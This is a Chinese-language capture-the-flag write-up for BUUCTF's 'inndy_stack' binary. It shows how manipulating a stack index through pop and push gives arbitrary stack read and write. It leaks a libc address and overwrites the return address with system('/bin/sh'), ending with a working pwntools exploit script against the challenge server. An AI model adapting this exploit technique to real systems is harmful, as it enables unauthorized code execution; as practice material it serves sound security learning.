BUUCTF_inndy_stack
保护策略:
程序分析:
这道题的难点就在于程序分析上,如果理解push和pop这两个函数,这道题就迎刃而解了。
先分析下push函数
这里是将a2的值(a2是我们输入的数据)写到a1[result+1]的位置,最终决定写入数据的位置由a1和result(也就是*a1)共同决定。然后我们去看一下a1怎么来的。
结合上面三张图片可以发现,a1就是一个固定的栈地址。最后输入的位置就是a1加上*a1这个索引再加1。
只要我们能够控制*a1的值,就可以实现栈中任意地址写入。
由上图可知,只要执行一次push函数那么*a1这个索引就会加+1,同理调试一下会发现执行一次pop函数*a1就会-1 且*a1可以为负数。
一句话总结就是我们要控制*a1来用push函数任意栈地址写入数据和pop函数的任意栈地址读数据,从而劫持执行流获取shell。
大致思路:
因为第一次执行push的话,受到a1[result+1]中+1的干扰,我们无法控制*a1的值。但是如果我们先执行一次pop函数,让a1-1,再执行一次push的时候,我们写入数据的地方正好就是*a1的值,这样就达到了控制a1的目的。
下图为调试push函数进行验证,第一次执行push函数,我写入的是0x59。图中标注了*a1所在,而往a1[1]中写入数据的地方也正好是*a1的下面的位置,可以看见0x59被写入了。
接下来执行一次pop 一次push 0x59来进行调试验证。执行后效果如下:
可以发现*a1的值变成了0x59(这就说明先执行pop 再执行push 就可以控制*a1的值)
能够控制索引后,我们就可以用pop来泄露libc的地址了。a1的值加上索引0x59正好可以泄露libc_start_main的地址(如下图)
然后我们可以执行下面这段代码,将*a1的值清空,重新来一次。
这次我们算好偏移,直接将system的地址写入返回地址。由于执行push后*a1会自动加1,所以我们可以紧接着在后面写入system的返回地址以及/bin/sh字符的地址。
EXP:
from tools import *
p,e,libc= load("b")
p=remote('node4.buuoj.cn',29232)
context.arch='i386'
context.log_level='debug'
def pop():
p.sendlineafter('Cmd >>\n','p')
def clear():
p.sendlineafter('Cmd >>\n','c')
def push(value):
p.sendlineafter('Cmd >>\n','i')
p.sendline(str(value))
pop()
push(0x59)
pop()
p.recvuntil('Pop -> ')
leak_libc_addr=int(p.recv(10))&0xffffffff
log_addr('leak_libc_addr')
libc_base_addr=leak_libc_addr-0x18637
log_addr('libc_base_addr')
clear()
pop()
push(0x5c)
sys_addr=libc_base_addr+libc.symbols['system']
bin_sh_addr = libc_base_addr + next(libc.search(b"/bin/sh"))
log_addr('bin_sh_addr')
log_addr('sys_addr')
push((-sys_addr&0xffffffff)*-1)
push(0)
#debug(p,'pie',0x81B,0x84B)
push((-bin_sh_addr&0xffffffff)*-1)
p.sendlineafter('Cmd >>\n','x')
p.interactive()